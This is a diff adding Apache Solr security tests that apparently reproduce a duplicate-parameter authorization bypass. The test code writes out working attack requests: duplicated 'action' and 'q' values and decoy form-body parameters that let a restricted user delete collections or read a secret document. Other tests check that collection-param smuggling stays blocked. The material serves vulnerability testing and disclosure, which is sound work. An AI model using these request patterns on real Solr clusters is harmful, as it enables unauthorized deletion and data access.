diff --git a/solr/core/src/test/org/apache/solr/security/AdminCollectionsDuplicateParamBypassIntegrationTest.java b/solr/core/src/test/org/apache/solr/security/AdminCollectionsDuplicateParamBypassIntegrationTest.java new file mode 100644 index 000000000000..f1712c14b61f --- /dev/null +++ b/solr/core/src/test/org/apache/solr/security/AdminCollectionsDuplicateParamBypassIntegrationTest.java @@ -0,0 +1,219 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one or more + * contributor license agreements. See the NOTICE file distributed with + * this work for additional information regarding copyright ownership. + * The ASF licenses this file to You under the Apache License, Version 2.0 + * (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package org.apache.solr.security; + +import java.nio.charset.StandardCharsets; +import java.util.Base64; +import java.util.List; +import java.util.Map; + +import org.apache.http.HttpResponse; +import org.apache.http.client.HttpClient; +import org.apache.http.client.methods.HttpGet; +import org.apache.http.client.methods.HttpPost; +import org.apache.http.client.methods.HttpRequestBase; +import org.apache.http.entity.ContentType; +import org.apache.http.entity.StringEntity; +import org.apache.http.message.BasicHeader; +import org.apache.http.util.EntityUtils; +import org.apache.solr.client.solrj.SolrRequest; +import org.apache.solr.client.solrj.SolrResponse; +import org.apache.solr.client.solrj.impl.CloudSolrClient; +import org.apache.solr.client.solrj.impl.HttpClientUtil; +import org.apache.solr.client.solrj.request.CollectionAdminRequest; +import org.apache.solr.cloud.SolrCloudTestCase; +import org.apache.solr.common.cloud.ZkStateReader; +import org.apache.solr.common.util.Utils; +import org.apache.solr.util.LogLevel; +import org.junit.BeforeClass; +import org.junit.Test; + +import static java.nio.charset.StandardCharsets.UTF_8; +import static org.apache.solr.security.Sha256AuthenticationProvider.getSaltedHashedValue; + +/** + * End-to-end SolrCloud test proving the duplicate-parameter authorization bypass for v1 collection + * admin APIs. + * + *

Custom permission {@code params} matching uses any-value semantics (a permission applies if + * any submitted value of a param matches the rule), while {@link + * org.apache.solr.handler.admin.CollectionsHandler} executes using {@code params.get(...)} (the + * first value). By supplying {@code action}/{@code name} more than once -- once with the + * dangerous values and once with the authorized decoy values -- a user restricted by a custom + * permission to a single harmless operation can make that permission govern the request (granting + * access) while the handler executes the dangerous operation. + * + *

Unlike distributed search (which re-authorizes each shard sub-request), collection admin + * performs a single authorization decision and then executes via the Overseer with no second gate, + * so the bypass results in the unauthorized operation actually running. This test demonstrates the + * bypass by having a "reload only" user delete a collection they are not authorized to touch. + */ +@LogLevel("org.apache.solr.security=DEBUG") +public class AdminCollectionsDuplicateParamBypassIntegrationTest extends SolrCloudTestCase { + + private static final String ADMIN = "admin"; + private static final String ADMIN_PASS = "adminPass"; + private static final String ALICE = "alice"; // may only run the harmless LIST action + private static final String ALICE_PASS = "alicePass"; + + private static final String VICTIM_FORMBODY = "victimFormBody"; + private static final String VICTIM_URLDUP = "victimUrlDup"; + + @BeforeClass + public static void setupCluster() throws Exception { + // alice's role may ONLY run the read-only LIST collection-admin action. collection:null marks + // this as a collection-admin permission (the bucket consulted for ADMIN requests). A HashMap is + // used because Map.of cannot hold a null value. + // + // The permission constrains only 'action'. This matters: 'action' is selected by the handler + // via params.get(...) (first value), so duplicating it drives the bypass cleanly. The original + // hypothesis also duplicated 'name', but the DELETE path consumes 'name' as the full multi-value + // array, so a duplicated 'name' becomes a String[] and the delete errors out (a target collection + // named "[Ljava.lang.String;@..." is not found) -- accidentally thwarting that exact variant. + Map listPerm = new java.util.HashMap<>(); + listPerm.put("name", "list_only"); + listPerm.put("collection", null); + listPerm.put("path", "/admin/collections"); + listPerm.put("params", Map.of("action", "LIST")); + listPerm.put("role", "list_role"); + + final String securityJson = + Utils.toJSONString( + Map.of( + "authentication", + Map.of( + "class", "solr.BasicAuthPlugin", + "blockUnknown", true, + "credentials", + Map.of( + ADMIN, getSaltedHashedValue(ADMIN_PASS), + ALICE, getSaltedHashedValue(ALICE_PASS))), + "authorization", + Map.of( + "class", "solr.RuleBasedAuthorizationPlugin", + "user-role", + Map.of( + ADMIN, List.of("admin_role"), + ALICE, List.of("list_role")), + "permissions", + List.of( + listPerm, + // everything else is admin-only + Map.of("name", "all", "role", "admin_role"))))); + + configureCluster(2) + .addConfig("conf", configset("cloud-minimal")) + .withSecurityJson(securityJson) + .configure(); + + CloudSolrClient client = cluster.getSolrClient(); + for (String c : List.of(VICTIM_FORMBODY, VICTIM_URLDUP)) { + withAdmin(CollectionAdminRequest.createCollection(c, "conf", 1, 1)).process(client); + cluster.waitForActiveCollection(c, 1, 1); + } + } + + private static > T withAdmin(T req) { + req.setBasicAuthCredentials(ADMIN, ADMIN_PASS); + return req; + } + + private static String anyBaseUrl() { + return cluster.getJettySolrRunner(0).getBaseUrl().toString(); + } + + /** Executes a raw admin request as the given user; returns [status, body]. */ + private static String[] adminRequest(HttpRequestBase req, String body, String user, String pass) + throws Exception { + HttpClient cl = HttpClientUtil.createClient(null); + try { + req.setHeader(new BasicHeader("Authorization", + "Basic " + Base64.getEncoder().encodeToString((user + ":" + pass).getBytes(UTF_8)))); + if (body != null && req instanceof HttpPost) { + ((HttpPost) req).setEntity( + new StringEntity(body, ContentType.create("application/x-www-form-urlencoded", StandardCharsets.UTF_8))); + } + HttpResponse resp = cl.execute(req); + int status = resp.getStatusLine().getStatusCode(); + String respBody = resp.getEntity() == null ? "" : EntityUtils.toString(resp.getEntity(), UTF_8); + return new String[] {String.valueOf(status), respBody}; + } finally { + HttpClientUtil.close(cl); + } + } + + // Checked via ZooKeeper cluster state (no authorization involved) so the existence check itself + // is not affected by the restrictive 'list_only' permission used in this test. + private static boolean collectionExists(String name) throws Exception { + ZkStateReader zr = cluster.getSolrClient().getZkStateReader(); + zr.forceUpdateCollection(name); + return zr.getClusterState().hasCollection(name); + } + + @Test + public void testDuplicateActionBypassExecutesUnauthorizedDelete() throws Exception { + final String base = anyBaseUrl(); + final String adminColl = "/admin/collections"; + + // Control 1: alice's legitimate, narrowly-permitted operation works (LIST). + String[] list = adminRequest( + new HttpGet(base + adminColl + "?action=LIST&wt=json"), null, ALICE, ALICE_PASS); + assertEquals("alice should be allowed to LIST; body=" + list[1], "200", list[0]); + + // Control 2: alice's plain DELETE of a collection she is not authorized for is FORBIDDEN, and + // the collection survives. + String[] plainDelete = adminRequest( + new HttpGet(base + adminColl + "?action=DELETE&name=" + VICTIM_FORMBODY), null, ALICE, ALICE_PASS); + assertEquals("plain DELETE by alice must be forbidden; body=" + plainDelete[1], "403", plainDelete[0]); + assertTrue("victim must still exist after a forbidden delete", collectionExists(VICTIM_FORMBODY)); + + // Attack A (URL vs form body): dangerous action in the URL, authorized decoy action in the body. + // 'name' is single-valued (only in the URL) so the delete targets a real collection. + // POST /admin/collections?action=DELETE&name=victimFormBody + // body: action=LIST + HttpPost formAttack = new HttpPost(base + adminColl + "?action=DELETE&name=" + VICTIM_FORMBODY); + String[] attackA = adminRequest(formAttack, "action=LIST", ALICE, ALICE_PASS); + assertEquals( + "BYPASS: request was authorized via decoy body action; body=" + attackA[1], "200", attackA[0]); + waitUntilGone(VICTIM_FORMBODY); + assertFalse( + "BYPASS CONFIRMED: alice (LIST-only) deleted an unauthorized collection via a decoy body " + + "'action' param", + collectionExists(VICTIM_FORMBODY)); + + // Attack B (pure URL duplication, no body): works on any method, here GET. + // GET /admin/collections?action=DELETE&action=LIST&name=victimUrlDup + String[] attackB = adminRequest( + new HttpGet(base + adminColl + "?action=DELETE&action=LIST&name=" + VICTIM_URLDUP), + null, ALICE, ALICE_PASS); + assertEquals("BYPASS: request was authorized via a duplicate URL 'action' param; body=" + attackB[1], + "200", attackB[0]); + waitUntilGone(VICTIM_URLDUP); + assertFalse( + "BYPASS CONFIRMED: alice (LIST-only) deleted an unauthorized collection via a duplicate URL " + + "'action' param", + collectionExists(VICTIM_URLDUP)); + } + + private static void waitUntilGone(String name) throws Exception { + final long deadline = System.nanoTime() + 30_000_000_000L; + while (System.nanoTime() < deadline) { + if (!collectionExists(name)) return; + Thread.sleep(200); + } + } +} diff --git a/solr/core/src/test/org/apache/solr/security/BaseTestRuleBasedAuthorizationPlugin.java b/solr/core/src/test/org/apache/solr/security/BaseTestRuleBasedAuthorizationPlugin.java index ff36661b79d3..269e448704dd 100644 --- a/solr/core/src/test/org/apache/solr/security/BaseTestRuleBasedAuthorizationPlugin.java +++ b/solr/core/src/test/org/apache/solr/security/BaseTestRuleBasedAuthorizationPlugin.java @@ -29,6 +29,7 @@ import org.apache.http.auth.BasicUserPrincipal; import org.apache.solr.SolrTestCaseJ4; import org.apache.solr.common.params.MapSolrParams; +import org.apache.solr.common.params.MultiMapSolrParams; import org.apache.solr.common.params.SolrParams; import org.apache.solr.common.util.CommandOperation; import org.apache.solr.common.util.Utils; @@ -426,6 +427,108 @@ public void testAllPermissionDeniesActionsWhenUserIsNotCorrectRole() { , FORBIDDEN); } + /** + * Demonstrates the parameter-duplication authorization bypass for v1 admin APIs. + * + *

Custom permission {@code params} matching uses any-value semantics + * ({@link Permission#load} iterates every value of {@code getParams(key)} and matches if any + * value satisfies the rule), while the Collections API executes using + * {@code params.get(key)} which returns the first value. By supplying a security + * param more than once, an attacker can make a narrow permission "govern" the request (and thus + * grant access) while the handler executes a different, unauthorized value. + */ + @Test + public void testDuplicateParamAuthorizationBypass() { + assumeThat("Test uses an inline user-role map specific to RuleBasedAuthorizationPlugin", + createPlugin(), is(instanceOf(RuleBasedAuthorizationPlugin.class))); + + @SuppressWarnings("unchecked") + Map dupRules = (Map) Utils.fromJSONString( + "{" + + " user-role : {" + + " limited : reload_only," + + " super : admin_role" + + " }," + + " permissions : [" + + " {name:reload_allowed_only, collection:null, path:'/admin/collections'," + + " params:{action:RELOAD, name:allowed_collection}, role:reload_only}," + + " {name:all, role:admin_role}" + + " ]}"); + + // 1. Legitimate narrow request by the limited user: RELOAD allowed_collection -> permitted. + checkRules(Map.of("resource", "/admin/collections", + "userPrincipal", "limited", + "requestType", RequestType.ADMIN, + "httpMethod", "POST", + "handler", new CollectionsHandler(), + "params", new MapSolrParams(Map.of("action", "RELOAD", "name", "allowed_collection"))) + , STATUS_OK, dupRules); + + // 2. Baseline: a plain DELETE of a forbidden collection by the limited user -> FORBIDDEN. + checkRules(Map.of("resource", "/admin/collections", + "userPrincipal", "limited", + "requestType", RequestType.ADMIN, + "httpMethod", "POST", + "handler", new CollectionsHandler(), + "params", new MapSolrParams(Map.of("action", "DELETE", "name", "forbidden_collection"))) + , FORBIDDEN, dupRules); + + // 3. The bypass: dangerous values FIRST (what params.get returns and what the handler executes), + // authorized decoy values second. e.g. + // POST /admin/collections?action=DELETE&name=forbidden_collection + // body: action=RELOAD&name=allowed_collection + Map bypassMap = new HashMap<>(); + bypassMap.put("action", new String[]{"DELETE", "RELOAD"}); + bypassMap.put("name", new String[]{"forbidden_collection", "allowed_collection"}); + MultiMapSolrParams bypass = new MultiMapSolrParams(bypassMap); + + // The Collections API would execute the FIRST (URL) value: an unauthorized DELETE. + assertEquals("DELETE", bypass.get("action")); + assertEquals("forbidden_collection", bypass.get("name")); + + // Authorization, however, sees the decoy authorized values and grants access. + // This assertion documents the CURRENT (vulnerable) behavior: STATUS_OK. + checkRules(Map.of("resource", "/admin/collections", + "userPrincipal", "limited", + "requestType", RequestType.ADMIN, + "httpMethod", "POST", + "handler", new CollectionsHandler(), + "params", bypass) + , STATUS_OK, dupRules); + + // 4. Reverse ordering: authorized values first, dangerous values second. Here the handler would + // execute the AUTHORIZED first value (RELOAD allowed_collection), so this is not an + // escalation -- but authorization still permits it. + Map reverseMap = new HashMap<>(); + reverseMap.put("action", new String[]{"RELOAD", "DELETE"}); + reverseMap.put("name", new String[]{"allowed_collection", "forbidden_collection"}); + MultiMapSolrParams reverse = new MultiMapSolrParams(reverseMap); + assertEquals("RELOAD", reverse.get("action")); + assertEquals("allowed_collection", reverse.get("name")); + checkRules(Map.of("resource", "/admin/collections", + "userPrincipal", "limited", + "requestType", RequestType.ADMIN, + "httpMethod", "POST", + "handler", new CollectionsHandler(), + "params", reverse) + , STATUS_OK, dupRules); + + // 5. Duplicate the action only, but NOT the name. The permission constrains BOTH action and + // name, so the attacker must supply a matching decoy for every constrained param. Here the + // name does not match the rule, so the narrow permission does not apply, the request falls + // through to the 'all' permission and is correctly FORBIDDEN for the limited user. + Map actionOnlyMap = new HashMap<>(); + actionOnlyMap.put("action", new String[]{"DELETE", "RELOAD"}); + actionOnlyMap.put("name", new String[]{"forbidden_collection"}); + checkRules(Map.of("resource", "/admin/collections", + "userPrincipal", "limited", + "requestType", RequestType.ADMIN, + "httpMethod", "POST", + "handler", new CollectionsHandler(), + "params", new MultiMapSolrParams(actionOnlyMap)) + , FORBIDDEN, dupRules); + } + @Test public void testShortNameResolvesPermissions() { assumeThat("ExternalRBAPlugin doesn't use short name", diff --git a/solr/core/src/test/org/apache/solr/security/CollectionParamAuthzBypassIntegrationTest.java b/solr/core/src/test/org/apache/solr/security/CollectionParamAuthzBypassIntegrationTest.java new file mode 100644 index 000000000000..3c4f94f0cd08 --- /dev/null +++ b/solr/core/src/test/org/apache/solr/security/CollectionParamAuthzBypassIntegrationTest.java @@ -0,0 +1,245 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one or more + * contributor license agreements. See the NOTICE file distributed with + * this work for additional information regarding copyright ownership. + * The ASF licenses this file to You under the Apache License, Version 2.0 + * (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package org.apache.solr.security; + +import java.nio.charset.StandardCharsets; +import java.util.Base64; +import java.util.List; +import java.util.Map; + +import org.apache.http.HttpResponse; +import org.apache.http.client.HttpClient; +import org.apache.http.client.methods.HttpGet; +import org.apache.http.client.methods.HttpPost; +import org.apache.http.entity.ContentType; +import org.apache.http.entity.StringEntity; +import org.apache.http.message.BasicHeader; +import org.apache.http.util.EntityUtils; +import org.apache.solr.client.solrj.SolrRequest; +import org.apache.solr.client.solrj.SolrResponse; +import org.apache.solr.client.solrj.impl.CloudSolrClient; +import org.apache.solr.client.solrj.impl.HttpClientUtil; +import org.apache.solr.client.solrj.request.CollectionAdminRequest; +import org.apache.solr.client.solrj.request.UpdateRequest; +import org.apache.solr.cloud.SolrCloudTestCase; +import org.apache.solr.common.SolrInputDocument; +import org.apache.solr.common.cloud.DocCollection; +import org.apache.solr.common.util.Utils; +import org.apache.solr.util.LogLevel; +import org.junit.BeforeClass; +import org.junit.Test; + +import static java.nio.charset.StandardCharsets.UTF_8; +import static org.apache.solr.security.Sha256AuthenticationProvider.getSaltedHashedValue; + +/** + * End-to-end SolrCloud test for the "collection" parameter authorization asymmetry on search APIs. + * + *

There is a genuine asymmetry: entry-node authorization scopes a search request to the + * collection(s) derived from the URL/path only (the {@code queryParams} computed in + * {@link org.apache.solr.servlet.HttpSolrCall}), while distributed execution resolves its target + * collections from the {@code collection} request param read off the merged request params + * ({@code CloudReplicaSource.params.get("collection")}). Since an + * {@code application/x-www-form-urlencoded} body is merged into the params after the URL params, a + * {@code collection} value supplied in the POST body is invisible to the entry-node authorization + * check yet honored by execution. + * + *

This test demonstrates that the asymmetry nonetheless does not result in a + * cross-collection data leak: when the request fans out to {@code colB}, the internal shard + * sub-request carries the original user principal and is independently re-authorized against + * {@code colB}'s permissions, which denies it (403). Per-shard re-authorization is the mitigating + * control. This test guards that control against regression. (Contrast with collection admin + * APIs, where a single authorization decision is followed by Overseer execution with no second + * gate -- see the duplicate-param finding for {@code /admin/collections}.) + */ +@LogLevel("org.apache.solr.security=DEBUG") +public class CollectionParamAuthzBypassIntegrationTest extends SolrCloudTestCase { + + private static final String ADMIN = "admin"; + private static final String ADMIN_PASS = "adminPass"; + private static final String ALICE = "alice"; // may read colA only + private static final String ALICE_PASS = "alicePass"; + + private static final String COL_A = "colA"; + private static final String COL_B = "colB"; + + private static final String COL_A_DOC_ID = "A1_public"; + private static final String COL_B_DOC_ID = "B1_secret"; + + @BeforeClass + public static void setupCluster() throws Exception { + final String securityJson = + Utils.toJSONString( + Map.of( + "authentication", + Map.of( + "class", "solr.BasicAuthPlugin", + "blockUnknown", true, + "credentials", + Map.of( + ADMIN, getSaltedHashedValue(ADMIN_PASS), + ALICE, getSaltedHashedValue(ALICE_PASS))), + "authorization", + Map.of( + "class", "solr.RuleBasedAuthorizationPlugin", + "user-role", + Map.of( + ADMIN, List.of("admin_role"), + ALICE, List.of("reader_a")), + "permissions", + List.of( + // alice's role may read colA ... + Map.of("name", "read", "collection", COL_A, "role", "reader_a"), + // ... but reading colB requires a role alice does not have + Map.of("name", "read", "collection", COL_B, "role", "reader_b"), + // everything else (incl. collection admin) is admin-only + Map.of("name", "all", "role", "admin_role"))))); + + configureCluster(2) + .addConfig("conf", configset("cloud-minimal")) + .withSecurityJson(securityJson) + .configure(); + + CloudSolrClient client = cluster.getSolrClient(); + + withAdmin(CollectionAdminRequest.createCollection(COL_A, "conf", 1, 1)).process(client); + withAdmin(CollectionAdminRequest.createCollection(COL_B, "conf", 1, 1)).process(client); + cluster.waitForActiveCollection(COL_A, 1, 1); + cluster.waitForActiveCollection(COL_B, 1, 1); + + UpdateRequest ua = withAdmin(new UpdateRequest()); + ua.add(new SolrInputDocument("id", COL_A_DOC_ID)); + ua.commit(client, COL_A); + + UpdateRequest ub = withAdmin(new UpdateRequest()); + ub.add(new SolrInputDocument("id", COL_B_DOC_ID)); + ub.commit(client, COL_B); + } + + private static > T withAdmin(T req) { + req.setBasicAuthCredentials(ADMIN, ADMIN_PASS); + return req; + } + + private static String baseUrlFor(String collection) { + DocCollection dc = getCollectionState(collection); + return dc.getSlices().iterator().next().getLeader().getBaseUrl(); + } + + /** POST a urlencoded body to {baseUrl}/{collectionPath}/select as the given user; returns [status, body]. */ + private static String[] postSelect(String baseUrl, String collectionPath, String body, String user, String pass) + throws Exception { + HttpClient cl = HttpClientUtil.createClient(null); + try { + HttpPost post = new HttpPost(baseUrl + "/" + collectionPath + "/select"); + post.setHeader(new BasicHeader("Authorization", + "Basic " + Base64.getEncoder().encodeToString((user + ":" + pass).getBytes(UTF_8)))); + post.setEntity(new StringEntity(body, ContentType.create("application/x-www-form-urlencoded", StandardCharsets.UTF_8))); + HttpResponse resp = cl.execute(post); + int status = resp.getStatusLine().getStatusCode(); + String respBody = resp.getEntity() == null ? "" : EntityUtils.toString(resp.getEntity(), UTF_8); + return new String[] {String.valueOf(status), respBody}; + } finally { + HttpClientUtil.close(cl); + } + } + + @Test + public void testCollectionParamCannotBypassPerCollectionReadAuthorization() throws Exception { + final String baseA = baseUrlFor(COL_A); + final String baseB = baseUrlFor(COL_B); + + // Control 1: alice may read colA via its own path. + String[] okA = postSelect(baseA, COL_A, "q=*:*&wt=json", ALICE, ALICE_PASS); + assertEquals("alice should be allowed to read colA; body=" + okA[1], "200", okA[0]); + assertTrue("colA result should contain colA's doc; body=" + okA[1], okA[1].contains(COL_A_DOC_ID)); + assertFalse("colA result must not contain colB's doc; body=" + okA[1], okA[1].contains(COL_B_DOC_ID)); + + // Control 2: alice may NOT read colB via its own path -> 403. + String[] denyB = postSelect(baseB, COL_B, "q=*:*&wt=json", ALICE, ALICE_PASS); + assertEquals("alice must be forbidden from reading colB directly; body=" + denyB[1], "403", denyB[0]); + + // Attack: alice POSTs to colA (entry-node authz is keyed on the path collection colA and admits + // the request) but puts collection=colB in the form body so execution fans out to colB. + String[] attack = postSelect(baseA, COL_A, "q=*:*&collection=" + COL_B + "&wt=json", ALICE, ALICE_PASS); + + // The security-critical invariant: colB's document must NOT be returned to alice. The colB + // shard sub-request is re-authorized against the original principal and denied, so the overall + // request fails (403) and no colB data leaks. + assertFalse( + "SECURITY: alice (authorized only for colA) must not receive colB's document via a body " + + "'collection' param. status=" + attack[0] + " body=" + attack[1], + attack[1].contains(COL_B_DOC_ID)); + assertEquals( + "cross-collection fan-out to colB must be denied by per-shard re-authorization; body=" + attack[1], + "403", attack[0]); + } + + /** GET {baseUrl}/{collectionPath}/select?{query} as the given user; returns [status, body]. */ + private static String[] getSelect(String baseUrl, String collectionPath, String query, String user, String pass) + throws Exception { + HttpClient cl = HttpClientUtil.createClient(null); + try { + HttpGet get = new HttpGet(baseUrl + "/" + collectionPath + "/select?" + query); + get.setHeader(new BasicHeader("Authorization", + "Basic " + Base64.getEncoder().encodeToString((user + ":" + pass).getBytes(UTF_8)))); + HttpResponse resp = cl.execute(get); + int status = resp.getStatusLine().getStatusCode(); + String respBody = resp.getEntity() == null ? "" : EntityUtils.toString(resp.getEntity(), UTF_8); + return new String[] {String.valueOf(status), respBody}; + } finally { + HttpClientUtil.close(cl); + } + } + + /** + * Refined attack: try to defeat the per-shard re-authorization by "smuggling" extra collection + * values -- naming an AUTHORIZED collection (colA) alongside the target (colB) as a comma-list (in + * the body and in the URL) and via triple duplication. The intent is to exploit that (a) + * {@code authorize()} returns OK on the first collection in the list that has a governing + * permission (any-of), and (b) the shard sub-request forwards the original {@code collection} + * value. + * + *

None of these leak colB. The decisive control: a shard sub-request targets a specific core + * and is re-authorized against that core's OWN collection (colB). The forwarded {@code collection} + * value rides in the sub-request body, which is invisible to the URL-only params that determine + * the authorized collection list at the target, so the target never short-circuits on colA. This + * test guards that control against regression. + */ + @Test + public void testMultiCollectionSmugglingCannotDefeatPerShardReauth() throws Exception { + final String baseA = baseUrlFor(COL_A); + final String list = COL_A + "," + COL_B; // authorized collection first + final String revList = COL_B + "," + COL_A; // target first + + String[][] attempts = { + postSelect(baseA, COL_A, "q=*:*&collection=" + list + "&wt=json", ALICE, ALICE_PASS), + getSelect(baseA, COL_A, "q=*:*&collection=" + list + "&wt=json", ALICE, ALICE_PASS), + getSelect(baseA, COL_A, + "q=*:*&collection=" + COL_A + "&collection=" + COL_B + "&collection=" + COL_A + "&wt=json", + ALICE, ALICE_PASS), + postSelect(baseA, COL_A, "q=*:*&collection=" + revList + "&wt=json", ALICE, ALICE_PASS), + }; + + for (String[] r : attempts) { + assertFalse( + "SECURITY: alice (authorized only for colA) must never receive colB's document. " + + "status=" + r[0] + " body=" + r[1], + r[1].contains(COL_B_DOC_ID)); + } + } +} diff --git a/solr/core/src/test/org/apache/solr/security/SearchParamAuthzBypassIntegrationTest.java b/solr/core/src/test/org/apache/solr/security/SearchParamAuthzBypassIntegrationTest.java new file mode 100644 index 000000000000..532798fa3765 --- /dev/null +++ b/solr/core/src/test/org/apache/solr/security/SearchParamAuthzBypassIntegrationTest.java @@ -0,0 +1,162 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one or more + * contributor license agreements. See the NOTICE file distributed with + * this work for additional information regarding copyright ownership. + * The ASF licenses this file to You under the Apache License, Version 2.0 + * (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package org.apache.solr.security; + +import java.util.Base64; +import java.util.List; +import java.util.Map; + +import org.apache.http.HttpResponse; +import org.apache.http.client.HttpClient; +import org.apache.http.client.methods.HttpGet; +import org.apache.http.message.BasicHeader; +import org.apache.http.util.EntityUtils; +import org.apache.solr.client.solrj.SolrRequest; +import org.apache.solr.client.solrj.SolrResponse; +import org.apache.solr.client.solrj.impl.CloudSolrClient; +import org.apache.solr.client.solrj.impl.HttpClientUtil; +import org.apache.solr.client.solrj.request.CollectionAdminRequest; +import org.apache.solr.client.solrj.request.UpdateRequest; +import org.apache.solr.cloud.SolrCloudTestCase; +import org.apache.solr.common.SolrInputDocument; +import org.apache.solr.common.util.Utils; +import org.apache.solr.util.LogLevel; +import org.junit.BeforeClass; +import org.junit.Test; + +import static java.nio.charset.StandardCharsets.UTF_8; +import static org.apache.solr.security.Sha256AuthenticationProvider.getSaltedHashedValue; + +/** + * Tests whether the any-value-vs-first-value bypass reaches search when a custom rule is keyed on a + * NON-collection param that the handler consumes first-value (here {@code q}). + * + *

The per-shard re-authorization that protects the {@code collection} dimension works because the + * receiving core re-derives the authorized collection from the core it serves. For any other param + * there is no such re-derivation: the shard sub-request carries the full multi-valued param, so the + * receiving core makes the same any-value decision the coordinator did (it passes for the same + * reason) and then executes the first value. So per-shard re-auth should NOT protect a {@code q}-keyed + * rule. + * + *

Setup: a custom rule lets role {@code pubonly} query collection {@code coll} only when + * {@code q=id:pubdoc}; everything else needs admin. The {@code limited} user (pubonly) sends + * {@code q=id:secretdoc&q=id:pubdoc}: auth matches on the decoy {@code id:pubdoc}, execution uses the + * first value {@code id:secretdoc}, and the secret document is returned. + */ +@LogLevel("org.apache.solr.security=DEBUG") +public class SearchParamAuthzBypassIntegrationTest extends SolrCloudTestCase { + + private static final String ADMIN = "admin"; + private static final String ADMIN_PASS = "adminPass"; + private static final String LIMITED = "limited"; + private static final String LIMITED_PASS = "limitedPass"; + + private static final String COLL = "coll"; + private static final String PUBLIC_ID = "pubdoc"; + private static final String SECRET_ID = "secretdoc"; + + @BeforeClass + public static void setupCluster() throws Exception { + Map pubQuery = Map.of( + "name", "pub-query", + "collection", COLL, + "path", "/select", + "params", Map.of("q", "id:" + PUBLIC_ID), + "role", "pubonly"); + + final String securityJson = + Utils.toJSONString( + Map.of( + "authentication", + Map.of( + "class", "solr.BasicAuthPlugin", + "blockUnknown", true, + "credentials", + Map.of( + ADMIN, getSaltedHashedValue(ADMIN_PASS), + LIMITED, getSaltedHashedValue(LIMITED_PASS))), + "authorization", + Map.of( + "class", "solr.RuleBasedAuthorizationPlugin", + "user-role", + Map.of( + ADMIN, List.of("admin_role"), + LIMITED, List.of("pubonly")), + "permissions", + List.of(pubQuery, Map.of("name", "all", "role", "admin_role"))))); + + configureCluster(2) + .addConfig("conf", configset("cloud-minimal")) + .withSecurityJson(securityJson) + .configure(); + + CloudSolrClient client = cluster.getSolrClient(); + withAdmin(CollectionAdminRequest.createCollection(COLL, "conf", 2, 1)).process(client); + cluster.waitForActiveCollection(COLL, 2, 2); + + UpdateRequest u = withAdmin(new UpdateRequest()); + u.add(new SolrInputDocument("id", PUBLIC_ID)); + u.add(new SolrInputDocument("id", SECRET_ID)); + u.commit(client, COLL); + } + + private static > T withAdmin(T req) { + req.setBasicAuthCredentials(ADMIN, ADMIN_PASS); + return req; + } + + /** GET {base}/coll/select?{query} as the given user; returns [status, body]. */ + private static String[] getSelect(String query, String user, String pass) throws Exception { + HttpClient cl = HttpClientUtil.createClient(null); + try { + String base = cluster.getJettySolrRunner(0).getBaseUrl().toString(); + HttpGet get = new HttpGet(base + "/" + COLL + "/select?" + query); + get.setHeader(new BasicHeader("Authorization", + "Basic " + Base64.getEncoder().encodeToString((user + ":" + pass).getBytes(UTF_8)))); + HttpResponse resp = cl.execute(get); + int status = resp.getStatusLine().getStatusCode(); + String body = resp.getEntity() == null ? "" : EntityUtils.toString(resp.getEntity(), UTF_8); + return new String[] {String.valueOf(status), body}; + } finally { + HttpClientUtil.close(cl); + } + } + + @Test + public void testFirstValueParamBypassReachesSearch() throws Exception { + // Legit: q=id:pubdoc is the only thing the pubonly role may run -> returns the public doc only. + String[] legit = getSelect("q=id%3A" + PUBLIC_ID + "&wt=json", LIMITED, LIMITED_PASS); + assertEquals("limited should be allowed the permitted query; body=" + legit[1], "200", legit[0]); + assertTrue("permitted query should return the public doc; body=" + legit[1], legit[1].contains(PUBLIC_ID)); + assertFalse("permitted query must not return the secret doc; body=" + legit[1], legit[1].contains(SECRET_ID)); + + // Control: a plain query for the secret doc is forbidden (rule doesn't match -> falls to 'all'). + String[] control = getSelect("q=id%3A" + SECRET_ID + "&wt=json", LIMITED, LIMITED_PASS); + assertEquals("plain secret query must be forbidden; body=" + control[1], "403", control[0]); + + // Attack: dangerous q first, authorized decoy q second. + // q=id:secretdoc&q=id:pubdoc + // auth matches on the decoy (any-value); execution uses the first value (first-value). + String[] attack = getSelect("q=id%3A" + SECRET_ID + "&q=id%3A" + PUBLIC_ID + "&wt=json", + LIMITED, LIMITED_PASS); + assertEquals("request was authorized via the decoy q value; body=" + attack[1], "200", attack[0]); + assertTrue( + "BYPASS: limited (allowed only q=id:pubdoc) retrieved the secret doc via a duplicate q " + + "param; per-shard re-auth did not protect a non-collection first-value param. body=" + attack[1], + attack[1].contains(SECRET_ID)); + } +} diff --git a/solr/core/src/test/org/apache/solr/security/V2JsonBodyParamAuthzIntegrationTest.java b/solr/core/src/test/org/apache/solr/security/V2JsonBodyParamAuthzIntegrationTest.java new file mode 100644 index 000000000000..95faae61715b --- /dev/null +++ b/solr/core/src/test/org/apache/solr/security/V2JsonBodyParamAuthzIntegrationTest.java @@ -0,0 +1,174 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one or more + * contributor license agreements. See the NOTICE file distributed with + * this work for additional information regarding copyright ownership. + * The ASF licenses this file to You under the Apache License, Version 2.0 + * (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. 